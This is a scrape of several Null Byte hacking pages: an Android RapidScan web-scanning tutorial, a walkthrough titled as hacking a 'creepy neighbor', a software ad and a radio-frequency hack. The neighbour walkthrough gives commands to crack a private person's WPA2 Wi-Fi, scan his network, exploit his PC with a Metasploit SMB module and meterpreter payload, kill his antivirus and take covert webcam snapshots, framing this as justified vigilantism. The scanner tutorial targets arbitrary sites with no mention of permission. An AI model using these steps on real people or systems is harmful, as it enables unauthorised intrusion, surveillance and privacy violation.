with ARP SpoofingHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Advanced System Attacks - Total GuideHow To:Use MDK3 for Advanced Wi-Fi JammingHow To:The Five Phases of HackingHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackNews:Banks Around the World Hit with Repeated DDoS Attacks!How To:Replace a Missing ToothHow To:Replace a Missing ToothHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Mentally Disturbed Woman Claims Implant Bomb as TSA Orders New Grope DirectiveRIP:ScroogleHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:It Would Appear from This Piece of News That We Can All Just Pack in Now and Call It a Day.News:Network Admin? You Might Become a Criminal SoonNews:Friday Indie Game Review Roundup: Turn-Based Strategy on SteamTor vs. I2P:The Great Onion DebateNews:Afghan shooting raises questions about US course in countryRevealed:Hundreds of words to avoid using onlineHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxUDP Flooding:How to Kick a Local User Off the NetworkGoodnight Byte:Coding a Web-Based Password Cracker in PythonNews:Future Cops - Hong Kong Street Fighter trailerNews:Obama and Congress Approve Resolution that Supports UN Internet TakeoverHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against It
Android for Hackers: How to Scan Websites for Vulnerabilities Using an Android Phone Without Root « Null Byte :: WonderHowTo
Auditing websites and discovering vulnerabilities can be a challenge. With RapidScan and UserLAnd combined, anyone with an unrooted Android phone can start hacking websites with a few simple commands.RapidScandoes an excellent job of automating the deployment of vulnerability scanners and website auditing software. It supports a large number of effective and noteworthy tools that make finding common website vulnerabilities extremely easy to detect. Coupled with an app likeUserLAnd, it's possible to weaponize any inconspicuous Android phone into a full-featured web hacking device.Don't Miss:Top 10 Exploit Databases for Finding VulnerabilitiesStep 1: Install UserLAnd & Import Kali RepositoriesUserLAnd is an Android app that allows users to quickly and effortlessly install Linux distributions on top of the Android operating system without rooting the device. This allows us to create a Debian operating system (OS) and import the Kali tool repositories to gain full access to some of the best website auditing and hacking tools. The full UserLAnd installation process has been covered in our guide onturning an Android phone into a hacking device.Full Guide:How to Turn Android into a Hacking Device Without RootDisclaimer: UserLAnd does have limitations. Without root access, for example, some of the tools utilized by RapidScan are not fully supported. Certain Nmap and Nikto commands sometimes stall or break entirely. Be mindful of this while scanning. Simply press Ctrl + C to stop a particular scan and RapidScan will automatically continue to the next one. Similarly, Android's Wi-Fi interface can't be switched into monitor mode, so traditionalWi-Fi hacking toolslike Aircrack-ng won't work.Step 2: Install the RapidScan DependenciesTo get started, log in to the Kali or Debian operating system found in UserLAnd using either the built-in SSH functionality or using an SSH client likeConnectBot, then enter a root terminal to perform the following commands.suNext, it's a good idea to update the system so everything syncs up well.apt updateNow, install the many hacking tools used by RapidScan with the belowapt-getcommand. It's worth noting that all of the below tools aren't required to run RapidScan. When running RapidScan, if a particular tool isn't found to be installed, it will intuitively move on to another tool.apt-get install python screen wapiti whatweb nmap golismero host wget uniscan wafw00f dirb davtest theharvester xsser dnsrecon fierce dnswalk whois sslyze lbd dnsenum dmitry davtest nikto dnsmapReading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: docutils-common docutils-doc gir1.2-glib-2.0 libgirepository-1.0-1 libnet-netmask-perl libpaper-utils libpaper1 libpython-all-dev libstring-random-perl libxml-writer-perl nmap-common python-all python-all-dev python-bson python-dbus python-docutils python-entrypoints python-gi python-gridfs python-keyring python-keyrings.alt python-pip python-pip-whl The following packages will be upgraded: nmap nmap-common python-pkg-resources wget 4 upgraded, 45 newly installed, 0 to remove and 181 not upgraded. Need to get 29.2 MB of archives. After this operation, 96.9 MB of additional disk space will be used. Do you want to continue? [Y/n] yThis installation process can take up to an hour depending on network speed and the Android's CPU. Be sure to keep the Android charged while packages are downloading and installing. While this is happening, let's have a look at which tools are being installed.WhatWebWhatWebis designed to identify website technologies and software version information. It includes over1,750 pluginscapable of recognizing blogger platforms, JavaScript libraries, web server fingerprints, and content management systems (CMS), to name a few.DNSReconDomain name resolutionsinvolve converting domain names (like wonderhowto.com) into an IP address that servers and computers can interpret.DNSReconis a comprehensive domain name service (DNS) enumeration and reconnaissance tool. It's able to carry out the following advanced tasks, to give you an idea of its power.NS recordsforzone transferschecksEnumerateMX, SOA, NS, A, AAAA, and TXTrecordsPerform commonSRV recordenumerationCheck forwildcard resolutionBrute-force subdomainswith a supplied wordlistIdentify cached DNS records forA, AAAA andCNAMERecordsNmapNmapis a port scanner and network exploration tool. It's a full-featured tool adept atfinding shared servers,detecting CVEs, and performing a variety ofadvanced scanning techniques. As I mentioned previously,some of Nmap's features are not currently supportedby UserLAnd. If you experience problems, be sure toopen a new GitHub issuefor assistance from the developers with this.WAFW00FAweb application firewall(WAF) detects and blocks malicious traffic transmitting to and from the web server its protecting.WAFW00Fis able to fingerprint and identify web application firewall technologies by sending the website an HTTP request and analyses the response. It can currently identify over 45 popular web application firewall solutions such as CloudFlare, Sucuri, ModSecurity, and Incapsula.GoLismeroGoLismerois a web application framework that can audit websites and operating systems running Windows 10, Linux, and macOS (OS X).DAVTestWeb Distributed Authoring and Versioning(WebDAV) is an extension of HTTP that enables web servers to behave like file servers. It allows sysadmins to create and edit files remotely.DAVTestaudits WebDAV-enabled servers by uploading executable files and enumerating command execution vulnerabilities. Using DAVTest, penetration testers can quickly identify if a given WebDAV server is exploitable.UniscanUniscanis a simple tool created to discover remote and local file inclusion, as well as remote command execution vulnerabilities. It can also detect SQL and PHP CGI argument injections, crawl for hidden files and directories, and fingerprint web servers.WHOISWHOISis a search and response protocol that is used by a variety of software and websites for querying domain owner information. Thewhoiscommand line tool is used to easily access domain owner contact details and IP address assignments for information gathering purposes.DIRBDIRBis a web application analysis andWebObjectdiscovery tool that executes a dictionary-based attack against web servers.Load Balance Detector (Lbd)Load balancing refers to efficiently distributing incoming network traffic across a large pool (or "farm") of servers. To cost-efficiently provide consistent and reliable content to its visitors, large websites (like Facebook or Instagram) must use load-balancing solutions.Lbdattempts to detect if a given website employs a DNS or HTTP load balancing software by comparing server header responses.WapitiWapitiis a website and web application auditing injection tool. It supports both GET and POST HTTP methods, generates verbose vulnerability assessment reports, and allows custom HTTP headers. Wapiti is capable of detecting a vast amount of vulnerabilities such as:SQLandXPathinjectionsCross-Site Scripting (XSS) injectionPHP command executionCRLFinjectionXML External Entity injectionServer-Side Request Forgeries(SSRF)Apache.htaccess configurationbypassesSensitive file and information disclosuresShellshockvulnerabilitiesTheHarvesterTheHarvesteris an open-source information gathering tool intended for penetration testers in the early stages ofblack-boxand red team engagements. It features the ability to perform virtual host verifications, DNS enumeration, reverse domain searches, and IP lookups, as well as makeShodan queries.XSSerCross-Site Scripter(XSSer) is an automation tool that attempts to detect and exploit cross-site scripting vulnerabilities in web applications and websites. It also includes several options for evading XSS detection filters.SSLyzeTransport Layer Security(TLS; aka "SSL") is a cryptographic protocol designed to establish secure communications between computers operating over the internet.SSLyzeanalyzes the SSL configuration of a given website and reports misconfigurations and critical vulnerabilities.DMitryDMitryis an information gathering tool that tries to collect as much information about a host as possible. It gathers subdomain information, email addresses, uptime information, open port details, whois lookup responses, and much more.NiktoNiktois a vulnerability scanner which performs a myriad of comprehensive tests against web servers. Among its many scanning features, it checks for outdated software, server misconfiguration, directory checks, weak HTTP headers, and has many available plugins for further enhancing its functionalities.DNSmapDNSmapis another DNS enumeration tool meant to be used during the information gathering phase of a penetration testing engagement. Subdomain brute-forcing is a common and effective technique for discovering additional servers and IPs controls by a target website or company.Don't Miss:Top 10 Things to Do After Installing Kali LinuxStep 3: Clone the RapidScan RepositoryNow that we have a good idea of which tools RapidScan employs, let's clone the repository and start scanning websites.git clone https://github.com/skavngr/rapidscanCloning into 'rapidscan'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (3/3), done. remote: Total 449 (delta 0), reused 1 (delta 0), pack-reused 446 Receiving objects: 100% (449/449), 2.37 MiB | 100.00 KiB/s, done. Resolving deltas: 100% (261/261), done.Then, change (cd) into the newly created rapidscan/ directory.cd rapidscan/And give it permission to execute in Kali.chmod +x rapidscan.pyStep 4: Start Screen (Optional)When using Android and UserLAnd for long, time-consuming scans, the SSH connection might unexpectedly break. SSH breakages may cause in-progress scans to terminate and fail — usually without saving the accumulated scan results. RapidScan could also continue to run in the background with no way of reconnecting to the session to view the progress.Screenwill allow terminal sessions to persist if the SSH connection suddenly disconnects. To start a new Screen session, simply typescreeninto the terminal.screenDon't Miss:Scan Sites for Potential Vulnerabilities Using Vega in Kali LinuxStep 5: Start RapidScanThe RapidScan help options and legend can be viewed using the--helpargument../rapidscan.py --help` __ __ /__)_ �_/( _ _ / ( (//)/(/__)( (//) / (The Multi-Tool Web Vulnerability Scanner) Information: ------------ ./rapidscan.py example.com: Scans the domain example.com ./rapidscan.py --update : Updates the scanner to the latest version. ./rapidscan.py --help : Displays this help context. Interactive: ------------ Ctrl+C: Skips current test. Ctrl+Z: Quits RapidScan. Legends: -------- [�]: Scan process may take longer times (not predictable). [�]: Scan process may take less than 10 minutes. [�]: Scan process may take less than a minute or two. Vulnerability Information: -------------------------- critical : Requires immediate attention as it may lead to compromise or service unavailability. high : May not lead to an immediate compromise, but there are high chances of probability. medium : Attacker may correlate multiple vulnerabilities of this type to launch a sophisticated attack. low : Not a serious issue, but it is recommended to attend the finding. info : Not classified as a vulnerability, simply an useful informational alert to be considered.Finally, to scan a website, simply provide the target domain and RapidScan will handle the rest../rapidscan.py target.comThere are many tools featured in RapidScan. Depending on the network speed, target domain response time, and Android CPU, scanning a single website can take up to three hours to complete.Step 6: Analyze RapidScan Vulnerability ReportsWhen RapidScan is done auditing the target domain, a report containing the results will be available in the rapidscan/ directory with the "RS-Vulnerability-Report" file name. Vulnerability reports can easily accumulate over 300 lines of data, so be sure to use thelesscommand to view the file and notcat. Less will allow continuous scrolling of the report by tapping theUpandDownbuttons.less RS-Vulnerability-ReportThe detailed output of each scan will be appended to the "RS-Vulnerability-Report" file. Scan error messages will also be included in the file indicating whether or not a particular tool's scan was successful.That's all there is to it! RapidScan is a powerful automation tool that makes auditing websites simple. With a few commands, anyone can find common vulnerabilities and exploits using an unrooted Android device. If you have any questions or concerns, be sure to leave a comment below.Next Up:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by distortion/Null ByteRelatedHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:1-Click Root Many Android Devices with Kingo Android RootHow To:Hack Android Using Kali (Remotely)How To:Scan for Vulnerabilities on Any Website Using NiktoNews:Chrysaor Malware Found on Android Devices—Here's What You Should Know & How to Protect YourselfZanti:NmapHow To:Exploit Routers on an Unrooted Android PhoneAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootTell Your Friends:How to Protect Yourself from Android's Biggest Security Flaw in YearsHow To:USB Tether Your Android Device to Your Mac—Without RootingNews:8 Reasons the BlackBerry KEY2 Is Already the Best Phone for Privacy & SecurityNews:Linux Kernel Exploits Aren't Really an Android ProblemHack Like a Pro:How to Scan for Vulnerabilities with NessusHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Root a Motorola Droid X Android phone and run custom ROMsHow To:Get Android Pay Working on a Rooted DeviceHow To:Samsung Phones Aren't the Only Android Devices Vulnerable to Remote Wipe Attacks—Is Yours at Risk?News:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:The Definitive Guide to Android MalwareAndroid Security:13 Must-Know Tips for Keeping Your Phone SecureHow to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsPSA:Don't Update Your Pixel if You're Rooted or Have Custom Recovery InstalledHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesNews:New Android Malware Is Emptying People's Bank Accounts—Here's How to Protect YourselfHow To:Root the Nexus 6P or Nexus 5X on Windows, Mac, or Linux—The Foolproof GuideHow To:New to Android? Here's How to Get Started & Get the Most Out of Your DeviceHow To:Get started rooting a Google Android smartphoneNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHow To:The Easiest "One-Click" Root Method for Your Samsung Galaxy S3How To:Use Your Android as a Hacking Platform:Part 1 Getting Your Android Ready.How To:Root a Nexus 4 or Nexus 5 in Under a MinuteHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Root and run custom ROMs on a Sprint HTC Hero Google Android smartphoneHow To:All the Reasons You Should Root Your PhoneHow To:Broken Buttons on Your Android Phone? Use This On-Screen Navigation Bar Instead (No Root Needed)News:'Metaphor' Exploit Threatens Millions of Android Devices—Here's How to Stay SafeHow To:8 Useful Ways to Take Advantage of Your Android Phone's NFC ChipHow To:What's Draining Your Android's Battery? Find Out & Fix It for Good
Hack Like a Pro: How to Hack into Your Suspicious, Creepy Neighbor's Computer & Spy on Him « Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!Have you ever had a neighbor that you're certain is up to no good? Maybe you've seen him moving packages in and out at all hours of the night? Maybe you've seen people go into his home and never come out? He seems like a creep and sometimes you hear strange sounds coming from his home? You know he's up to no good, but you aren't sure what it is exactly.Let's say I have such a neighbor.I've called the police about his suspicious activities, but they don't take me seriously. They think I am just a nosy, suspicious neighbor. They asked me what kind of evidence I have that he's doing something illegal. Of course, I have nothing other than my suspicions and circumstantial evidence of the comings and going from that home.What can I do?In this hack, I will show you ways that you can find out what that suspicious neighbor is actually up to. This will require skills from multiple tutorials on here, so if you're a newbie, be patient and go through the guides I reference for you.Step 1: Crack His Wi-FiThe first step is to crack his Wi-Fi. If we can get a connection to his Wi-Fi router/AP, we can connect to it and be inside his LAN.Let's openBackTrackand use aircarck-ng to crack his wireless. If you need more information on cracking Wi-Fi, check outmy guide on aircrack-ng basicsand oncracking WPA2 passwords.First, we need to put our wireless card in monitor mode. We can do that with:bt > airmon-ng start wlan0Then we need to start airodump-ng. This application allows us to "dump" all the info on available wireless devices to our screen:bt > airodump-ng mon0As you can see below, I have a lot of wireless access points in my neighborhood. I also have a high gain antenna on my wireless card, so I am picking up wireless from blocks around.My next step is to figure which of these is my creepy neighbor's AP. Since he is just few houses away, his signal would be relatively strong. The second column, PWR, gives me the power of the signal. Lower numbers are more powerful.I'm guessing he is SSID "myquest3231," the fifth AP on my list. I know this because when I drove by his house a couple of days ago with my laptop and wireless in monitor mode, it was the strongest signal when I was in his vicinity. There is no way to know definitively, but that is my best guess. If it doesn't work, I'll try another.Now we need to break the WPA2 encryption to get into his network.The first step in WPA2 cracking is to lock onto his AP and capture his password hash. We can do this with the airodump-ng command and then forcing him to reauthenticate by bumping him off his AP with a deauthenticate (deauth) sent with the airoreplay-ng command. Check out my guide oncracking WPA2 passwords with aircrack-ngfor help on this.It may take a few hours, but now I have his WPA2 password and I'm inside his network!Step 2: Enumerate with NetdiscoverNow that we're connected to his wireless network, let's see what systems are on his network. In an earlier tutorial, I showed you how touse the ARP protocol to enumerate all the systems on a network. Let's find out what systems he has INSIDE his home that we might be able to exploit.bt > netdiscover -r 192.168.1.0/24Step 3: Scan His NetworkAs you can see from the screenshot above, there are several devices on his LAN. Before we decide to attack, let's do a quick nmap connect scan (-sT) of the devices and systems on his local network. For some background on nmap, check out my guide onconducting active recon with nmap.Let's scan his entire network so see what ports are open.bt > nmap -sT 192.168.1.0/24This is just a partial screenshot of the output from the nmap network scan, but it does include three IP addresses, 192.168.1.103 at the top, 192.168.1.017 just below it, and then 192.168.1.108 starting about the middle of the screen.Interestingly, the 192.168.1.103 identifies the MAC address as "BarnesandNoble.com". My first inclination is that is a Barnes and Noble "Nook", the Android powered reader/tablet.The second IP, 192.168.1.107, is probably a smartphone connected to his wireless as it has no ports open but 80.Lastly, 192.168.1.108, appears to be a Windows PC with an awful lot of services running on it. That is probably the machine we want to attack.Step 4: Discover the Operating SystemsNow that we know a little about the devices on his home network, we need to find one that is susceptible to exploitation. Let's do a xprobe2 OS detection against these systems to discover what operating system they are running. We are looking for one system we can exploit. For some background on this, check out my guide onconducting OS fingerprinting with xprobe2.First, let's scan 192.168.1.103 on his network. That's the one that we suspect is a "Nook".bt > xprobe2 192.168.1.103As you can see, its OS is a Linux-based kernel such as Android, so it might be a phone or tablet. We need a Windows system that we can exploit and hopefully turn on his webcam to see what he is up to. Let's scan the machine at 192.168.1.107.bt > xprobe2 192.168.1.107Hmmm...xprobe2 estimates that his system is running Windows XP SP2?? That's kind of an old system, but he's kind of an old guy.On the other hand, I know that xprobe2—as good as it is at OS fingerprinting—often misjudges the OS, especially if they are the same Microsoft OS build (or very close). Xprobe2 runs numerous tests by probing the system and seeing how it responds to those probes. Similar operating systems often will respond similarly. I happen to know from experience that xprobe2 often mistakes Windows Vista and Windows XP SP2. At least we have narrowed it down to those two.Now, we know we need to find a hack that will work on either of those systems. Since Vista is a bit more secure than XP, let's assume it is Vista, as most hacks that work with Vista will also work with XP. If that doesn't work, we know for sure we can hack XP, as it is so flawed and vulnerable.Step 5: Hack One of the SystemsAs I've shown you before,Windows Vista is vulnerable to multiple hacks. If you go back and read that tutorial, I showed how to hack Vista through SMB (port 445). If you look back at our nmap scan in Step #3 on this machine, you can see that port 445 is open, so this system might be vulnerable to this hack. Generally, this exploit works against Windows Vista and early versions of Windows Server 2008.Let's fire up Metasploit and try to exploit this system with the follow command against my creepy neighbor's computer.windows/smb/ms09_050_smb2_negotiate_func_indexNow, let's load the meterpreter (windows/meterpreter/reverse_tcp) as our payload so that IF we get in, we can turn on his webcam and maybe see what he is up to.Next, set the RHOST (remote host, the target) and the LHOST (us).The only thing left to do now is EXPLOIT! This exploit does not always work, so I'm persistent and try several times before I finally get it to work and get a meterpreter prompt.Now we're inside his system with the meterpreter. We own that system!Step 6: Turn on the WebcamIn an earlier tutorial, I showed you ascript built into meterpreter that enables us to turn on the victim's webcam. Let's run that script and take a look inside our creepy neighbor's home. Before we do that, let's disable his antivirus program, just in case.meterpreter > run killav.rbNow, let's take a snapshot from his webcam with:meterpreter > webcam_snapThis script saves the webcam snapshot by default to the /root/ directory. Now let's navigate to /root/ and open the .jpg file.Step 7: Look AroundOMG! Just as I thought! He is up to no good. He's holding a hostage in his home!Image viaShutterstockWith this evidence, certainly the police will now take my suspicions seriously. I will probably save this poor woman from a fate worse than death. I'll be a hero! My smiling face will be all over the news and the newspapers!Of course, there is the small matter of explaining to law enforcement how I got this picture from his webcam, but I'm sure they will understand.This is just another example of how hacking can be used for the forces of good and justice, so keep coming back my neophyte hackers for more adventures in Hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHow To:Make an iPhone secret spy cameraHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Check if Third-Party Apps Are Safe to Install on Your MacHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)Hack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)News:Some of the World's Most Notorious Hackers Got HackedHow To:Force Switch to T-Mobile or Sprint on Project FiHow To:15 Million T-Mobile Customers Hacked—Here's How to Protect Yourself from Identity TheftNews:Privacy Under Threat as More Android Apps Eavesdrop on AdsHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Secretly record people with your own spy sunglassesHow To:Build a Cheap USB Spy Telescope to Take Covert Digital Photos from Far AwayNews:The Fake Review Saga Continues—Gmail & Messenger Latest in Google Play's 5-Star SpamHow To:Become a Computer Forensics Pro with This $29 TrainingHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:How To:Disable Instagram's Creepy Activity Status FeatureHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Hack Your Neighbor with a Post-It Note, Part 3 (Executing the Attack)News:How to Study for the White Hat Hacker Associate Certification (CWA)The Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityHalloween Food Hacks:Make an Icy-Cold, Bloody HandHow To:Hack a megaphone into a bionic hearing spy deviceHow To:Make a motion triggered spy cameraNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNews:When Foursquare Gets CreepyNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:do a dolly zoom in-camera effect shot, Sam RaimNull Byte:Never Let Us DieHow To:Noob's Introductory Guide to Hacking: Where to Get Started?News:HackingWTFoto of the Day:A Creepy Piece of Vintage AdvertisingNews:What does Pro Tools HD Native mean for you?Hack Like a Pro:Creating Your Own Prism ProgramNews:Extremely Creepy Oprah Winfrey CakeNews:Yet Another Creepy Vintage Ad!Horror Photography Challenge:Demonic Stare
Stay Fully in Sync with Your Remote Team Using TimeSync Pro « Null Byte :: WonderHowTo
If you've been working from home a bit more often than usual lately, you're far from alone. Despite some optimistic predictions that things would have returned to normal right now, social distancing guidelines have forced most offices to shut their doors, and it's looking like this is going to be the new normal for the foreseeable future.But the fact that you're stuck at home doesn't have to lead to a drop in productivity or team cohesion, thanks toTimeSync Pro. As the world's leading online meeting scheduler for remote teams, TimeSync Pro makes it easy to make calls, qualify leads, and much more, and a lifetime subscription is on sale today for 90% off at just $39.99.This all-in-one syncing tool will help you and your team stay productive even while you're forced to work remotely from home, thanks to a series of innovative tools and features that will help everyone stay on the same page.You'll be able to ditch the tedious back-and-forth emails by automatically syncing meetings, calls, interviews, presentations, and more — all through an intuitive system that's easy to use.TimeSync Pro also makes it easy to only receive meeting bookings from people who are qualified to send the request, and you'll be able to quickly integrate the entire system with go-to calendars and meeting platforms such as Zoom, Google Hangouts, Salesforce, HubSpot, Google Analytics, and Facebook.It's also possible to create filter questions for any booking to ensure that nobody's time is wasted on superfluous and double-booked sessions.Keep your team productive even when everyone is working from home with a lifetime subscription to TimeSync Pro forjust $39.99— 90% off its usual price for a limited time.Prices are subject to change.Check Out the Deal:Lifetime Subscription to TimeSync Pro for Just $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:This Seamless Meeting Scheduler & Task Organizer Is on Sale NowHow To:Put Your Nexus 7 in Deep Sleep Mode to Conserve Battery Power Throughout the DayNews:Make Use of Your Bigger Screen with These 12 Tablet-Ready AppsNews:Epson to Launch Moverio Assist as Easier to Deploy Smartglasses Remote Assistance ToolHow To:Keep Your Samsung Galaxy S3's Screen Awake Whenever You Want (Or Just for Certain Apps)How To:Set Your Android to Atomic Time for a Perfectly Synced ClockHow To:Use Trapcode plugins in Final Cut ProNews:Microsoft Adds Spatial App Functionality to Office 365's Teams App, Android & Web Interaction DemoedNews:Developers Can Create Shared AR Experiences Through Twilio's Video PlatformNews:New Features and KitKat Compatibility Added to HTC Backup for Your HTC OneHow To:Sync a Wii Remote to the Nintendo WiiNews:Looking Glass Launches 8K Immersive Display, a High-Resolution Holographic-Style Window into the 3D WorldNews:Microsoft Remote Assist Now Available for Android in PreviewHow To:Back Up All Your Android's Files to Google Drive AutomaticallyNews:Epson Adds Two New Moverio Augmented Reality HeadsetsHow To:Sync external audio automatically in Final Cut Pro XHow To:Sync multicam footage in Final Cut Pro 7How To:Need a Remote for Your MacBook? Use Your Android DeviceHow To:Install iLok plug-ins for Pro Tools 8 in Mac OS XHow To:Manipulate the audio clips in Final Cut Pro using keyframesHow To:Mix and master in Pro Tools 8News:Re'flekt's Sync Tool Wants to Help Companies Embed AR Content into Real Objects via CAD DataHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Sync a Nintendo Wiimote to your WiiHow To:Use the sync menu in Apple's Final Cut Pro 6How To:Securely Sync Files Between Two Machines Using SyncthingHow To:Use Your Smartphone to Check for Dead BatteriesHow To:Sync contacts between a Mac and Windows Mobile deviceMarket Reality:Magic Leap Sues Nreal, Airbus Sells HoloLens Apps, & Harry Potter Takes on AR GamingHow To:Running Out of Disk Space? Stream Music & Video Files from Your PC to Your Nexus 7 Tablet Anywhere, AnytimeHow To:Use Sony Vegas Pro 10 to color correct videosHow To:Canon 7d FCP Post Workflow and StuffHow To:Design Your Own Custom Arduino Board MicrocontrollerNews:NAB 2010 - Redrock Micro iPhone Remote InsanityNews:Hide & Seek Airbag ExplosionHow To:Remotely Control Computers Over VNC Securely with SSHNews:Rock Band 3 unveiled! (Keyboard!)The Job Board:Best all-time job postingHow To:The Official Google+ Insider's Guide IndexIPsec Tools of the Trade:Don't Bring a Knife to a Gunfight
How to Hack a Radio to Pick Up Different Frequencies - Including Law Enforcement & More « Null Byte :: WonderHowTo
Hardware hacks are something I feel we don't get enough of atNull Byte, so today I figured I would introduce a fun one. I've always been a curious hardware hacker. Taking things apart and learning how their internals work has always been a part of my nature. Quite some years ago, my father showed me a really cool trick on how to hack normal radios to scan frequencies that are normally non-listenable. This little hack allowed us to scan frequencies belonging to law enforcement, and even frequencies that the town fair had used to make announcements over a loudspeaker.To have fun with this cool hack, we're going to need a few things.Note:I'm not sure if this works on all radios. I haven't tried it on anything other than 3 cheap radios from Wal-Mart. I would imagine that all radios work the same, so in theory, this should be possible with any radio.RequirementsA cheap, disposable radioA Philips-head screwdriverStep1Pop Open the RadioFirst, let's take apart the radio so that we can get to its internals. You need to remove all of the screws necessary to get the case completely separated. Depending on the radio model, this may mean that you need to removeallof the screws.Step2Hack the TunerRadios change which station they're listening to by adjusting a small, copper-looking wire coiled around a cylinder. When adjusted, the gaps between the coils in the copper wire become tighter or more separated depending on how the tuner knob is adjusted.In order to hack your radio, here's what you need to do:Turn the tuning knob on the outside of the radio.Observe the mechanism connected to the tuning knob on the inside of the radio, while continuing to turn the knob. This will lead to your wire and cylinder that controls what frequency the radio is scanning.Turn the radio on. If it doesn't turn on, make sure everything is connected properly.Turn the volume up.Pull and separate the wire that is on the cylinder. You should hear the static shift and warp, this means you are changing stations. Adjust the coil until you start hearing human-related sounds from the speakers.Congratulations! You are listening to a broadcast that isn't supposed to be a broadcast.Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Keep the Government Out of Your SmartphoneHow To:Rural surveillanceNews:Here's How Apple's Stopping Police from Breaking into iPhonesHow To:Block Annoying GDPR Cookie Pop-Ups While Browsing the Web on AndroidNews:The OnePlus 7 Pro's GPS Is So Much Better Than Other Phones Thanks to This Unique FeatureHow to Hack Radio Frequencies:Building a Radio Listening Station to Decode Digital Audio & Police DispatchesHow To:Keep Law Enforcement Out of Your iPhone (& Your Privacy Intact)How To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How to Hack Radio Frequencies:Hijacking FM Radio with a Raspberry Pi & WireHow To:Everything You Need to Know About 5G — Answers to the Most Common QuestionsHow To:Keep Law Enforcement Out of Your Android DeviceHow To:Here's What That 5G+ Icon in Your Status Bar Really MeansNews:Vuzix Blade Teams with Facial Recognition Company to Provide Law Enforcement SolutionHow To:Quickly Turn Off Face ID on Your iPhoneHow To:Listen to FM Radio on a Google Android SmartphoneHow To:Connect a wireless camera receiver to a Cambox DVRHow To:Quickly Disable Fingerprints & Smart Lock in Android Pie for Extra SecurityHow To:Why the LG V30 Is the Only Phone You Should Buy if You Have T-MobileHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)How To:Eavesdrop from a Distance with This DIY Parabolic "Spy" MicrophoneHow To:Increase the range of a USB Bluetooth adapter with a high performance antennaNews:Galaxy S9 & S9+ Will Support T-Mobile's New 600 MHz LTE Band — Rural Users RejoiceHow To:Hack a transistor radio to hear Air Traffic ControlNews:All the Phones That Work on T-Mobile's 600 MHz Band 71 